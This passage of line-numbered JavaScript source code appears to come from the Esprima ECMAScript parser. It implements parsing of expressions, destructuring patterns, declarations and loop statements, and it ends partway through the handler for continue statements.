2994 this.tolerateError(messages_1.Messages.StrictLHSPrefix);
2995 }
2996 if (!this.context.isAssignmentTarget) {
2997 this.tolerateError(messages_1.Messages.InvalidLHSInAssignment);
2998 }
2999 var prefix = true;
3000 expr = this.finalize(node, new Node.UpdateExpression(token.value, expr, prefix));
3001 this.context.isAssignmentTarget = false;
3002 this.context.isBindingElement = false;
3003 }
3004 else {
3005 expr = this.inheritCoverGrammar(this.parseLeftHandSideExpressionAllowCall);
3006 if (!this.hasLineTerminator && this.lookahead.type === 7 /* Punctuator */) {
3007 if (this.match('++') || this.match('--')) {
3008 if (this.context.strict && expr.type === syntax_1.Syntax.Identifier && this.scanner.isRestrictedWord(expr.name)) {
3009 this.tolerateError(messages_1.Messages.StrictLHSPostfix);
3010 }
3011 if (!this.context.isAssignmentTarget) {
3012 this.tolerateError(messages_1.Messages.InvalidLHSInAssignment);
3013 }
3014 this.context.isAssignmentTarget = false;
3015 this.context.isBindingElement = false;
3016 var operator = this.nextToken().value;
3017 var prefix = false;
3018 expr = this.finalize(this.startNode(startToken), new Node.UpdateExpression(operator, expr, prefix));
3019 }
3020 }
3021 }
3022 return expr;
3023 };
3024 // https://tc39.github.io/ecma262/#sec-unary-operators
3025 Parser.prototype.parseAwaitExpression = function () {
3026 var node = this.createNode();
3027 this.nextToken();
3028 var argument = this.parseUnaryExpression();
3029 return this.finalize(node, new Node.AwaitExpression(argument));
3030 };
3031 Parser.prototype.parseUnaryExpression = function () {
3032 var expr;
3033 if (this.match('+') || this.match('-') || this.match('~') || this.match('!') ||
3034 this.matchKeyword('delete') || this.matchKeyword('void') || this.matchKeyword('typeof')) {
3035 var node = this.startNode(this.lookahead);
3036 var token = this.nextToken();
3037 expr = this.inheritCoverGrammar(this.parseUnaryExpression);
3038 expr = this.finalize(node, new Node.UnaryExpression(token.value, expr));
3039 if (this.context.strict && expr.operator === 'delete' && expr.argument.type === syntax_1.Syntax.Identifier) {
3040 this.tolerateError(messages_1.Messages.StrictDelete);
3041 }
3042 this.context.isAssignmentTarget = false;
3043 this.context.isBindingElement = false;
3044 }
3045 else if (this.context.await && this.matchContextualKeyword('await')) {
3046 expr = this.parseAwaitExpression();
3047 }
3048 else {
3049 expr = this.parseUpdateExpression();
3050 }
3051 return expr;
3052 };
3053 Parser.prototype.parseExponentiationExpression = function () {
3054 var startToken = this.lookahead;
3055 var expr = this.inheritCoverGrammar(this.parseUnaryExpression);
3056 if (expr.type !== syntax_1.Syntax.UnaryExpression && this.match('**')) {
3057 this.nextToken();
3058 this.context.isAssignmentTarget = false;
3059 this.context.isBindingElement = false;
3060 var left = expr;
3061 var right = this.isolateCoverGrammar(this.parseExponentiationExpression);
3062 expr = this.finalize(this.startNode(startToken), new Node.BinaryExpression('**', left, right));
3063 }
3064 return expr;
3065 };
3066 // https://tc39.github.io/ecma262/#sec-exp-operator
3067 // https://tc39.github.io/ecma262/#sec-multiplicative-operators
3068 // https://tc39.github.io/ecma262/#sec-additive-operators
3069 // https://tc39.github.io/ecma262/#sec-bitwise-shift-operators
3070 // https://tc39.github.io/ecma262/#sec-relational-operators
3071 // https://tc39.github.io/ecma262/#sec-equality-operators
3072 // https://tc39.github.io/ecma262/#sec-binary-bitwise-operators
3073 // https://tc39.github.io/ecma262/#sec-binary-logical-operators
3074 Parser.prototype.binaryPrecedence = function (token) {
3075 var op = token.value;
3076 var precedence;
3077 if (token.type === 7 /* Punctuator */) {
3078 precedence = this.operatorPrecedence[op] || 0;
3079 }
3080 else if (token.type === 4 /* Keyword */) {
3081 precedence = (op === 'instanceof' || (this.context.allowIn && op === 'in')) ? 7 : 0;
3082 }
3083 else {
3084 precedence = 0;
3085 }
3086 return precedence;
3087 };
3088 Parser.prototype.parseBinaryExpression = function () {
3089 var startToken = this.lookahead;
3090 var expr = this.inheritCoverGrammar(this.parseExponentiationExpression);
3091 var token = this.lookahead;
3092 var prec = this.binaryPrecedence(token);
3093 if (prec > 0) {
3094 this.nextToken();
3095 this.context.isAssignmentTarget = false;
3096 this.context.isBindingElement = false;
3097 var markers = [startToken, this.lookahead];
3098 var left = expr;
3099 var right = this.isolateCoverGrammar(this.parseExponentiationExpression);
3100 var stack = [left, token.value, right];
3101 var precedences = [prec];
3102 while (true) {
3103 prec = this.binaryPrecedence(this.lookahead);
3104 if (prec <= 0) {
3105 break;
3106 }
3107 // Reduce: make a binary expression from the three topmost entries.
3108 while ((stack.length > 2) && (prec <= precedences[precedences.length - 1])) {
3109 right = stack.pop();
3110 var operator = stack.pop();
3111 precedences.pop();
3112 left = stack.pop();
3113 markers.pop();
3114 var node = this.startNode(markers[markers.length - 1]);
3115 stack.push(this.finalize(node, new Node.BinaryExpression(operator, left, right)));
3116 }
3117 // Shift.
3118 stack.push(this.nextToken().value);
3119 precedences.push(prec);
3120 markers.push(this.lookahead);
3121 stack.push(this.isolateCoverGrammar(this.parseExponentiationExpression));
3122 }
3123 // Final reduce to clean-up the stack.
3124 var i = stack.length - 1;
3125 expr = stack[i];
3126 var lastMarker = markers.pop();
3127 while (i > 1) {
3128 var marker = markers.pop();
3129 var lastLineStart = lastMarker && lastMarker.lineStart;
3130 var node = this.startNode(marker, lastLineStart);
3131 var operator = stack[i - 1];
3132 expr = this.finalize(node, new Node.BinaryExpression(operator, stack[i - 2], expr));
3133 i -= 2;
3134 lastMarker = marker;
3135 }
3136 }
3137 return expr;
3138 };
3139 // https://tc39.github.io/ecma262/#sec-conditional-operator
3140 Parser.prototype.parseConditionalExpression = function () {
3141 var startToken = this.lookahead;
3142 var expr = this.inheritCoverGrammar(this.parseBinaryExpression);
3143 if (this.match('?')) {
3144 this.nextToken();
3145 var previousAllowIn = this.context.allowIn;
3146 this.context.allowIn = true;
3147 var consequent = this.isolateCoverGrammar(this.parseAssignmentExpression);
3148 this.context.allowIn = previousAllowIn;
3149 this.expect(':');
3150 var alternate = this.isolateCoverGrammar(this.parseAssignmentExpression);
3151 expr = this.finalize(this.startNode(startToken), new Node.ConditionalExpression(expr, consequent, alternate));
3152 this.context.isAssignmentTarget = false;
3153 this.context.isBindingElement = false;
3154 }
3155 return expr;
3156 };
3157 // https://tc39.github.io/ecma262/#sec-assignment-operators
3158 Parser.prototype.checkPatternParam = function (options, param) {
3159 switch (param.type) {
3160 case syntax_1.Syntax.Identifier:
3161 this.validateParam(options, param, param.name);
3162 break;
3163 case syntax_1.Syntax.RestElement:
3164 this.checkPatternParam(options, param.argument);
3165 break;
3166 case syntax_1.Syntax.AssignmentPattern:
3167 this.checkPatternParam(options, param.left);
3168 break;
3169 case syntax_1.Syntax.ArrayPattern:
3170 for (var i = 0; i < param.elements.length; i++) {
3171 if (param.elements[i] !== null) {
3172 this.checkPatternParam(options, param.elements[i]);
3173 }
3174 }
3175 break;
3176 case syntax_1.Syntax.ObjectPattern:
3177 for (var i = 0; i < param.properties.length; i++) {
3178 this.checkPatternParam(options, param.properties[i].value);
3179 }
3180 break;
3181 default:
3182 break;
3183 }
3184 options.simple = options.simple && (param instanceof Node.Identifier);
3185 };
3186 Parser.prototype.reinterpretAsCoverFormalsList = function (expr) {
3187 var params = [expr];
3188 var options;
3189 var asyncArrow = false;
3190 switch (expr.type) {
3191 case syntax_1.Syntax.Identifier:
3192 break;
3193 case ArrowParameterPlaceHolder:
3194 params = expr.params;
3195 asyncArrow = expr.async;
3196 break;
3197 default:
3198 return null;
3199 }
3200 options = {
3201 simple: true,
3202 paramSet: {}
3203 };
3204 for (var i = 0; i < params.length; ++i) {
3205 var param = params[i];
3206 if (param.type === syntax_1.Syntax.AssignmentPattern) {
3207 if (param.right.type === syntax_1.Syntax.YieldExpression) {
3208 if (param.right.argument) {
3209 this.throwUnexpectedToken(this.lookahead);
3210 }
3211 param.right.type = syntax_1.Syntax.Identifier;
3212 param.right.name = 'yield';
3213 delete param.right.argument;
3214 delete param.right.delegate;
3215 }
3216 }
3217 else if (asyncArrow && param.type === syntax_1.Syntax.Identifier && param.name === 'await') {
3218 this.throwUnexpectedToken(this.lookahead);
3219 }
3220 this.checkPatternParam(options, param);
3221 params[i] = param;
3222 }
3223 if (this.context.strict || !this.context.allowYield) {
3224 for (var i = 0; i < params.length; ++i) {
3225 var param = params[i];
3226 if (param.type === syntax_1.Syntax.YieldExpression) {
3227 this.throwUnexpectedToken(this.lookahead);
3228 }
3229 }
3230 }
3231 if (options.message === messages_1.Messages.StrictParamDupe) {
3232 var token = this.context.strict ? options.stricted : options.firstRestricted;
3233 this.throwUnexpectedToken(token, options.message);
3234 }
3235 return {
3236 simple: options.simple,
3237 params: params,
3238 stricted: options.stricted,
3239 firstRestricted: options.firstRestricted,
3240 message: options.message
3241 };
3242 };
3243 Parser.prototype.parseAssignmentExpression = function () {
3244 var expr;
3245 if (!this.context.allowYield && this.matchKeyword('yield')) {
3246 expr = this.parseYieldExpression();
3247 }
3248 else {
3249 var startToken = this.lookahead;
3250 var token = startToken;
3251 expr = this.parseConditionalExpression();
3252 if (token.type === 3 /* Identifier */ && (token.lineNumber === this.lookahead.lineNumber) && token.value === 'async') {
3253 if (this.lookahead.type === 3 /* Identifier */ || this.matchKeyword('yield')) {
3254 var arg = this.parsePrimaryExpression();
3255 this.reinterpretExpressionAsPattern(arg);
3256 expr = {
3257 type: ArrowParameterPlaceHolder,
3258 params: [arg],
3259 async: true
3260 };
3261 }
3262 }
3263 if (expr.type === ArrowParameterPlaceHolder || this.match('=>')) {
3264 // https://tc39.github.io/ecma262/#sec-arrow-function-definitions
3265 this.context.isAssignmentTarget = false;
3266 this.context.isBindingElement = false;
3267 var isAsync = expr.async;
3268 var list = this.reinterpretAsCoverFormalsList(expr);
3269 if (list) {
3270 if (this.hasLineTerminator) {
3271 this.tolerateUnexpectedToken(this.lookahead);
3272 }
3273 this.context.firstCoverInitializedNameError = null;
3274 var previousStrict = this.context.strict;
3275 var previousAllowStrictDirective = this.context.allowStrictDirective;
3276 this.context.allowStrictDirective = list.simple;
3277 var previousAllowYield = this.context.allowYield;
3278 var previousAwait = this.context.await;
3279 this.context.allowYield = true;
3280 this.context.await = isAsync;
3281 var node = this.startNode(startToken);
3282 this.expect('=>');
3283 var body = void 0;
3284 if (this.match('{')) {
3285 var previousAllowIn = this.context.allowIn;
3286 this.context.allowIn = true;
3287 body = this.parseFunctionSourceElements();
3288 this.context.allowIn = previousAllowIn;
3289 }
3290 else {
3291 body = this.isolateCoverGrammar(this.parseAssignmentExpression);
3292 }
3293 var expression = body.type !== syntax_1.Syntax.BlockStatement;
3294 if (this.context.strict && list.firstRestricted) {
3295 this.throwUnexpectedToken(list.firstRestricted, list.message);
3296 }
3297 if (this.context.strict && list.stricted) {
3298 this.tolerateUnexpectedToken(list.stricted, list.message);
3299 }
3300 expr = isAsync ? this.finalize(node, new Node.AsyncArrowFunctionExpression(list.params, body, expression)) :
3301 this.finalize(node, new Node.ArrowFunctionExpression(list.params, body, expression));
3302 this.context.strict = previousStrict;
3303 this.context.allowStrictDirective = previousAllowStrictDirective;
3304 this.context.allowYield = previousAllowYield;
3305 this.context.await = previousAwait;
3306 }
3307 }
3308 else {
3309 if (this.matchAssign()) {
3310 if (!this.context.isAssignmentTarget) {
3311 this.tolerateError(messages_1.Messages.InvalidLHSInAssignment);
3312 }
3313 if (this.context.strict && expr.type === syntax_1.Syntax.Identifier) {
3314 var id = expr;
3315 if (this.scanner.isRestrictedWord(id.name)) {
3316 this.tolerateUnexpectedToken(token, messages_1.Messages.StrictLHSAssignment);
3317 }
3318 if (this.scanner.isStrictModeReservedWord(id.name)) {
3319 this.tolerateUnexpectedToken(token, messages_1.Messages.StrictReservedWord);
3320 }
3321 }
3322 if (!this.match('=')) {
3323 this.context.isAssignmentTarget = false;
3324 this.context.isBindingElement = false;
3325 }
3326 else {
3327 this.reinterpretExpressionAsPattern(expr);
3328 }
3329 token = this.nextToken();
3330 var operator = token.value;
3331 var right = this.isolateCoverGrammar(this.parseAssignmentExpression);
3332 expr = this.finalize(this.startNode(startToken), new Node.AssignmentExpression(operator, expr, right));
3333 this.context.firstCoverInitializedNameError = null;
3334 }
3335 }
3336 }
3337 return expr;
3338 };
3339 // https://tc39.github.io/ecma262/#sec-comma-operator
3340 Parser.prototype.parseExpression = function () {
3341 var startToken = this.lookahead;
3342 var expr = this.isolateCoverGrammar(this.parseAssignmentExpression);
3343 if (this.match(',')) {
3344 var expressions = [];
3345 expressions.push(expr);
3346 while (this.lookahead.type !== 2 /* EOF */) {
3347 if (!this.match(',')) {
3348 break;
3349 }
3350 this.nextToken();
3351 expressions.push(this.isolateCoverGrammar(this.parseAssignmentExpression));
3352 }
3353 expr = this.finalize(this.startNode(startToken), new Node.SequenceExpression(expressions));
3354 }
3355 return expr;
3356 };
3357 // https://tc39.github.io/ecma262/#sec-block
3358 Parser.prototype.parseStatementListItem = function () {
3359 var statement;
3360 this.context.isAssignmentTarget = true;
3361 this.context.isBindingElement = true;
3362 if (this.lookahead.type === 4 /* Keyword */) {
3363 switch (this.lookahead.value) {
3364 case 'export':
3365 if (!this.context.isModule) {
3366 this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.IllegalExportDeclaration);
3367 }
3368 statement = this.parseExportDeclaration();
3369 break;
3370 case 'import':
3371 if (!this.context.isModule) {
3372 this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.IllegalImportDeclaration);
3373 }
3374 statement = this.parseImportDeclaration();
3375 break;
3376 case 'const':
3377 statement = this.parseLexicalDeclaration({ inFor: false });
3378 break;
3379 case 'function':
3380 statement = this.parseFunctionDeclaration();
3381 break;
3382 case 'class':
3383 statement = this.parseClassDeclaration();
3384 break;
3385 case 'let':
3386 statement = this.isLexicalDeclaration() ? this.parseLexicalDeclaration({ inFor: false }) : this.parseStatement();
3387 break;
3388 default:
3389 statement = this.parseStatement();
3390 break;
3391 }
3392 }
3393 else {
3394 statement = this.parseStatement();
3395 }
3396 return statement;
3397 };
3398 Parser.prototype.parseBlock = function () {
3399 var node = this.createNode();
3400 this.expect('{');
3401 var block = [];
3402 while (true) {
3403 if (this.match('}')) {
3404 break;
3405 }
3406 block.push(this.parseStatementListItem());
3407 }
3408 this.expect('}');
3409 return this.finalize(node, new Node.BlockStatement(block));
3410 };
3411 // https://tc39.github.io/ecma262/#sec-let-and-const-declarations
3412 Parser.prototype.parseLexicalBinding = function (kind, options) {
3413 var node = this.createNode();
3414 var params = [];
3415 var id = this.parsePattern(params, kind);
3416 if (this.context.strict && id.type === syntax_1.Syntax.Identifier) {
3417 if (this.scanner.isRestrictedWord(id.name)) {
3418 this.tolerateError(messages_1.Messages.StrictVarName);
3419 }
3420 }
3421 var init = null;
3422 if (kind === 'const') {
3423 if (!this.matchKeyword('in') && !this.matchContextualKeyword('of')) {
3424 if (this.match('=')) {
3425 this.nextToken();
3426 init = this.isolateCoverGrammar(this.parseAssignmentExpression);
3427 }
3428 else {
3429 this.throwError(messages_1.Messages.DeclarationMissingInitializer, 'const');
3430 }
3431 }
3432 }
3433 else if ((!options.inFor && id.type !== syntax_1.Syntax.Identifier) || this.match('=')) {
3434 this.expect('=');
3435 init = this.isolateCoverGrammar(this.parseAssignmentExpression);
3436 }
3437 return this.finalize(node, new Node.VariableDeclarator(id, init));
3438 };
3439 Parser.prototype.parseBindingList = function (kind, options) {
3440 var list = [this.parseLexicalBinding(kind, options)];
3441 while (this.match(',')) {
3442 this.nextToken();
3443 list.push(this.parseLexicalBinding(kind, options));
3444 }
3445 return list;
3446 };
3447 Parser.prototype.isLexicalDeclaration = function () {
3448 var state = this.scanner.saveState();
3449 this.scanner.scanComments();
3450 var next = this.scanner.lex();
3451 this.scanner.restoreState(state);
3452 return (next.type === 3 /* Identifier */) ||
3453 (next.type === 7 /* Punctuator */ && next.value === '[') ||
3454 (next.type === 7 /* Punctuator */ && next.value === '{') ||
3455 (next.type === 4 /* Keyword */ && next.value === 'let') ||
3456 (next.type === 4 /* Keyword */ && next.value === 'yield');
3457 };
3458 Parser.prototype.parseLexicalDeclaration = function (options) {
3459 var node = this.createNode();
3460 var kind = this.nextToken().value;
3461 assert_1.assert(kind === 'let' || kind === 'const', 'Lexical declaration must be either let or const');
3462 var declarations = this.parseBindingList(kind, options);
3463 this.consumeSemicolon();
3464 return this.finalize(node, new Node.VariableDeclaration(declarations, kind));
3465 };
3466 // https://tc39.github.io/ecma262/#sec-destructuring-binding-patterns
3467 Parser.prototype.parseBindingRestElement = function (params, kind) {
3468 var node = this.createNode();
3469 this.expect('...');
3470 var arg = this.parsePattern(params, kind);
3471 return this.finalize(node, new Node.RestElement(arg));
3472 };
3473 Parser.prototype.parseArrayPattern = function (params, kind) {
3474 var node = this.createNode();
3475 this.expect('[');
3476 var elements = [];
3477 while (!this.match(']')) {
3478 if (this.match(',')) {
3479 this.nextToken();
3480 elements.push(null);
3481 }
3482 else {
3483 if (this.match('...')) {
3484 elements.push(this.parseBindingRestElement(params, kind));
3485 break;
3486 }
3487 else {
3488 elements.push(this.parsePatternWithDefault(params, kind));
3489 }
3490 if (!this.match(']')) {
3491 this.expect(',');
3492 }
3493 }
3494 }
3495 this.expect(']');
3496 return this.finalize(node, new Node.ArrayPattern(elements));
3497 };
3498 Parser.prototype.parsePropertyPattern = function (params, kind) {
3499 var node = this.createNode();
3500 var computed = false;
3501 var shorthand = false;
3502 var method = false;
3503 var key;
3504 var value;
3505 if (this.lookahead.type === 3 /* Identifier */) {
3506 var keyToken = this.lookahead;
3507 key = this.parseVariableIdentifier();
3508 var init = this.finalize(node, new Node.Identifier(keyToken.value));
3509 if (this.match('=')) {
3510 params.push(keyToken);
3511 shorthand = true;
3512 this.nextToken();
3513 var expr = this.parseAssignmentExpression();
3514 value = this.finalize(this.startNode(keyToken), new Node.AssignmentPattern(init, expr));
3515 }
3516 else if (!this.match(':')) {
3517 params.push(keyToken);
3518 shorthand = true;
3519 value = init;
3520 }
3521 else {
3522 this.expect(':');
3523 value = this.parsePatternWithDefault(params, kind);
3524 }
3525 }
3526 else {
3527 computed = this.match('[');
3528 key = this.parseObjectPropertyKey();
3529 this.expect(':');
3530 value = this.parsePatternWithDefault(params, kind);
3531 }
3532 return this.finalize(node, new Node.Property('init', key, computed, value, method, shorthand));
3533 };
3534 Parser.prototype.parseObjectPattern = function (params, kind) {
3535 var node = this.createNode();
3536 var properties = [];
3537 this.expect('{');
3538 while (!this.match('}')) {
3539 properties.push(this.parsePropertyPattern(params, kind));
3540 if (!this.match('}')) {
3541 this.expect(',');
3542 }
3543 }
3544 this.expect('}');
3545 return this.finalize(node, new Node.ObjectPattern(properties));
3546 };
3547 Parser.prototype.parsePattern = function (params, kind) {
3548 var pattern;
3549 if (this.match('[')) {
3550 pattern = this.parseArrayPattern(params, kind);
3551 }
3552 else if (this.match('{')) {
3553 pattern = this.parseObjectPattern(params, kind);
3554 }
3555 else {
3556 if (this.matchKeyword('let') && (kind === 'const' || kind === 'let')) {
3557 this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.LetInLexicalBinding);
3558 }
3559 params.push(this.lookahead);
3560 pattern = this.parseVariableIdentifier(kind);
3561 }
3562 return pattern;
3563 };
3564 Parser.prototype.parsePatternWithDefault = function (params, kind) {
3565 var startToken = this.lookahead;
3566 var pattern = this.parsePattern(params, kind);
3567 if (this.match('=')) {
3568 this.nextToken();
3569 var previousAllowYield = this.context.allowYield;
3570 this.context.allowYield = true;
3571 var right = this.isolateCoverGrammar(this.parseAssignmentExpression);
3572 this.context.allowYield = previousAllowYield;
3573 pattern = this.finalize(this.startNode(startToken), new Node.AssignmentPattern(pattern, right));
3574 }
3575 return pattern;
3576 };
3577 // https://tc39.github.io/ecma262/#sec-variable-statement
3578 Parser.prototype.parseVariableIdentifier = function (kind) {
3579 var node = this.createNode();
3580 var token = this.nextToken();
3581 if (token.type === 4 /* Keyword */ && token.value === 'yield') {
3582 if (this.context.strict) {
3583 this.tolerateUnexpectedToken(token, messages_1.Messages.StrictReservedWord);
3584 }
3585 else if (!this.context.allowYield) {
3586 this.throwUnexpectedToken(token);
3587 }
3588 }
3589 else if (token.type !== 3 /* Identifier */) {
3590 if (this.context.strict && token.type === 4 /* Keyword */ && this.scanner.isStrictModeReservedWord(token.value)) {
3591 this.tolerateUnexpectedToken(token, messages_1.Messages.StrictReservedWord);
3592 }
3593 else {
3594 if (this.context.strict || token.value !== 'let' || kind !== 'var') {
3595 this.throwUnexpectedToken(token);
3596 }
3597 }
3598 }
3599 else if ((this.context.isModule || this.context.await) && token.type === 3 /* Identifier */ && token.value === 'await') {
3600 this.tolerateUnexpectedToken(token);
3601 }
3602 return this.finalize(node, new Node.Identifier(token.value));
3603 };
3604 Parser.prototype.parseVariableDeclaration = function (options) {
3605 var node = this.createNode();
3606 var params = [];
3607 var id = this.parsePattern(params, 'var');
3608 if (this.context.strict && id.type === syntax_1.Syntax.Identifier) {
3609 if (this.scanner.isRestrictedWord(id.name)) {
3610 this.tolerateError(messages_1.Messages.StrictVarName);
3611 }
3612 }
3613 var init = null;
3614 if (this.match('=')) {
3615 this.nextToken();
3616 init = this.isolateCoverGrammar(this.parseAssignmentExpression);
3617 }
3618 else if (id.type !== syntax_1.Syntax.Identifier && !options.inFor) {
3619 this.expect('=');
3620 }
3621 return this.finalize(node, new Node.VariableDeclarator(id, init));
3622 };
3623 Parser.prototype.parseVariableDeclarationList = function (options) {
3624 var opt = { inFor: options.inFor };
3625 var list = [];
3626 list.push(this.parseVariableDeclaration(opt));
3627 while (this.match(',')) {
3628 this.nextToken();
3629 list.push(this.parseVariableDeclaration(opt));
3630 }
3631 return list;
3632 };
3633 Parser.prototype.parseVariableStatement = function () {
3634 var node = this.createNode();
3635 this.expectKeyword('var');
3636 var declarations = this.parseVariableDeclarationList({ inFor: false });
3637 this.consumeSemicolon();
3638 return this.finalize(node, new Node.VariableDeclaration(declarations, 'var'));
3639 };
3640 // https://tc39.github.io/ecma262/#sec-empty-statement
3641 Parser.prototype.parseEmptyStatement = function () {
3642 var node = this.createNode();
3643 this.expect(';');
3644 return this.finalize(node, new Node.EmptyStatement());
3645 };
3646 // https://tc39.github.io/ecma262/#sec-expression-statement
3647 Parser.prototype.parseExpressionStatement = function () {
3648 var node = this.createNode();
3649 var expr = this.parseExpression();
3650 this.consumeSemicolon();
3651 return this.finalize(node, new Node.ExpressionStatement(expr));
3652 };
3653 // https://tc39.github.io/ecma262/#sec-if-statement
3654 Parser.prototype.parseIfClause = function () {
3655 if (this.context.strict && this.matchKeyword('function')) {
3656 this.tolerateError(messages_1.Messages.StrictFunction);
3657 }
3658 return this.parseStatement();
3659 };
3660 Parser.prototype.parseIfStatement = function () {
3661 var node = this.createNode();
3662 var consequent;
3663 var alternate = null;
3664 this.expectKeyword('if');
3665 this.expect('(');
3666 var test = this.parseExpression();
3667 if (!this.match(')') && this.config.tolerant) {
3668 this.tolerateUnexpectedToken(this.nextToken());
3669 consequent = this.finalize(this.createNode(), new Node.EmptyStatement());
3670 }
3671 else {
3672 this.expect(')');
3673 consequent = this.parseIfClause();
3674 if (this.matchKeyword('else')) {
3675 this.nextToken();
3676 alternate = this.parseIfClause();
3677 }
3678 }
3679 return this.finalize(node, new Node.IfStatement(test, consequent, alternate));
3680 };
3681 // https://tc39.github.io/ecma262/#sec-do-while-statement
3682 Parser.prototype.parseDoWhileStatement = function () {
3683 var node = this.createNode();
3684 this.expectKeyword('do');
3685 var previousInIteration = this.context.inIteration;
3686 this.context.inIteration = true;
3687 var body = this.parseStatement();
3688 this.context.inIteration = previousInIteration;
3689 this.expectKeyword('while');
3690 this.expect('(');
3691 var test = this.parseExpression();
3692 if (!this.match(')') && this.config.tolerant) {
3693 this.tolerateUnexpectedToken(this.nextToken());
3694 }
3695 else {
3696 this.expect(')');
3697 if (this.match(';')) {
3698 this.nextToken();
3699 }
3700 }
3701 return this.finalize(node, new Node.DoWhileStatement(body, test));
3702 };
3703 // https://tc39.github.io/ecma262/#sec-while-statement
3704 Parser.prototype.parseWhileStatement = function () {
3705 var node = this.createNode();
3706 var body;
3707 this.expectKeyword('while');
3708 this.expect('(');
3709 var test = this.parseExpression();
3710 if (!this.match(')') && this.config.tolerant) {
3711 this.tolerateUnexpectedToken(this.nextToken());
3712 body = this.finalize(this.createNode(), new Node.EmptyStatement());
3713 }
3714 else {
3715 this.expect(')');
3716 var previousInIteration = this.context.inIteration;
3717 this.context.inIteration = true;
3718 body = this.parseStatement();
3719 this.context.inIteration = previousInIteration;
3720 }
3721 return this.finalize(node, new Node.WhileStatement(test, body));
3722 };
3723 // https://tc39.github.io/ecma262/#sec-for-statement
3724 // https://tc39.github.io/ecma262/#sec-for-in-and-for-of-statements
3725 Parser.prototype.parseForStatement = function () {
3726 var init = null;
3727 var test = null;
3728 var update = null;
3729 var forIn = true;
3730 var left, right;
3731 var node = this.createNode();
3732 this.expectKeyword('for');
3733 this.expect('(');
3734 if (this.match(';')) {
3735 this.nextToken();
3736 }
3737 else {
3738 if (this.matchKeyword('var')) {
3739 init = this.createNode();
3740 this.nextToken();
3741 var previousAllowIn = this.context.allowIn;
3742 this.context.allowIn = false;
3743 var declarations = this.parseVariableDeclarationList({ inFor: true });
3744 this.context.allowIn = previousAllowIn;
3745 if (declarations.length === 1 && this.matchKeyword('in')) {
3746 var decl = declarations[0];
3747 if (decl.init && (decl.id.type === syntax_1.Syntax.ArrayPattern || decl.id.type === syntax_1.Syntax.ObjectPattern || this.context.strict)) {
3748 this.tolerateError(messages_1.Messages.ForInOfLoopInitializer, 'for-in');
3749 }
3750 init = this.finalize(init, new Node.VariableDeclaration(declarations, 'var'));
3751 this.nextToken();
3752 left = init;
3753 right = this.parseExpression();
3754 init = null;
3755 }
3756 else if (declarations.length === 1 && declarations[0].init === null && this.matchContextualKeyword('of')) {
3757 init = this.finalize(init, new Node.VariableDeclaration(declarations, 'var'));
3758 this.nextToken();
3759 left = init;
3760 right = this.parseAssignmentExpression();
3761 init = null;
3762 forIn = false;
3763 }
3764 else {
3765 init = this.finalize(init, new Node.VariableDeclaration(declarations, 'var'));
3766 this.expect(';');
3767 }
3768 }
3769 else if (this.matchKeyword('const') || this.matchKeyword('let')) {
3770 init = this.createNode();
3771 var kind = this.nextToken().value;
3772 if (!this.context.strict && this.lookahead.value === 'in') {
3773 init = this.finalize(init, new Node.Identifier(kind));
3774 this.nextToken();
3775 left = init;
3776 right = this.parseExpression();
3777 init = null;
3778 }
3779 else {
3780 var previousAllowIn = this.context.allowIn;
3781 this.context.allowIn = false;
3782 var declarations = this.parseBindingList(kind, { inFor: true });
3783 this.context.allowIn = previousAllowIn;
3784 if (declarations.length === 1 && declarations[0].init === null && this.matchKeyword('in')) {
3785 init = this.finalize(init, new Node.VariableDeclaration(declarations, kind));
3786 this.nextToken();
3787 left = init;
3788 right = this.parseExpression();
3789 init = null;
3790 }
3791 else if (declarations.length === 1 && declarations[0].init === null && this.matchContextualKeyword('of')) {
3792 init = this.finalize(init, new Node.VariableDeclaration(declarations, kind));
3793 this.nextToken();
3794 left = init;
3795 right = this.parseAssignmentExpression();
3796 init = null;
3797 forIn = false;
3798 }
3799 else {
3800 this.consumeSemicolon();
3801 init = this.finalize(init, new Node.VariableDeclaration(declarations, kind));
3802 }
3803 }
3804 }
3805 else {
3806 var initStartToken = this.lookahead;
3807 var previousAllowIn = this.context.allowIn;
3808 this.context.allowIn = false;
3809 init = this.inheritCoverGrammar(this.parseAssignmentExpression);
3810 this.context.allowIn = previousAllowIn;
3811 if (this.matchKeyword('in')) {
3812 if (!this.context.isAssignmentTarget || init.type === syntax_1.Syntax.AssignmentExpression) {
3813 this.tolerateError(messages_1.Messages.InvalidLHSInForIn);
3814 }
3815 this.nextToken();
3816 this.reinterpretExpressionAsPattern(init);
3817 left = init;
3818 right = this.parseExpression();
3819 init = null;
3820 }
3821 else if (this.matchContextualKeyword('of')) {
3822 if (!this.context.isAssignmentTarget || init.type === syntax_1.Syntax.AssignmentExpression) {
3823 this.tolerateError(messages_1.Messages.InvalidLHSInForLoop);
3824 }
3825 this.nextToken();
3826 this.reinterpretExpressionAsPattern(init);
3827 left = init;
3828 right = this.parseAssignmentExpression();
3829 init = null;
3830 forIn = false;
3831 }
3832 else {
3833 if (this.match(',')) {
3834 var initSeq = [init];
3835 while (this.match(',')) {
3836 this.nextToken();
3837 initSeq.push(this.isolateCoverGrammar(this.parseAssignmentExpression));
3838 }
3839 init = this.finalize(this.startNode(initStartToken), new Node.SequenceExpression(initSeq));
3840 }
3841 this.expect(';');
3842 }
3843 }
3844 }
3845 if (typeof left === 'undefined') {
3846 if (!this.match(';')) {
3847 test = this.parseExpression();
3848 }
3849 this.expect(';');
3850 if (!this.match(')')) {
3851 update = this.parseExpression();
3852 }
3853 }
3854 var body;
3855 if (!this.match(')') && this.config.tolerant) {
3856 this.tolerateUnexpectedToken(this.nextToken());
3857 body = this.finalize(this.createNode(), new Node.EmptyStatement());
3858 }
3859 else {
3860 this.expect(')');
3861 var previousInIteration = this.context.inIteration;
3862 this.context.inIteration = true;
3863 body = this.isolateCoverGrammar(this.parseStatement);
3864 this.context.inIteration = previousInIteration;
3865 }
3866 return (typeof left === 'undefined') ?
3867 this.finalize(node, new Node.ForStatement(init, test, update, body)) :
3868 forIn ? this.finalize(node, new Node.ForInStatement(left, right, body)) :
3869 this.finalize(node, new Node.ForOfStatement(left, right, body));
3870 };
3871 // https://tc39.github.io/ecma262/#sec-continue-statement
3872 Parser.prototype.parseContinueStatement = function () {
3873 var node = this.createNode();
3874 this.expectKeyword('continue');
3875 var label = null;
3876 if (this.lookahead.type === 3 /* Identifier */ && !this.hasLineTerminator) {
3877 var id = this.parseVariableIdentifier();
3878 label = id;
3879 var key = '$' + id.name;
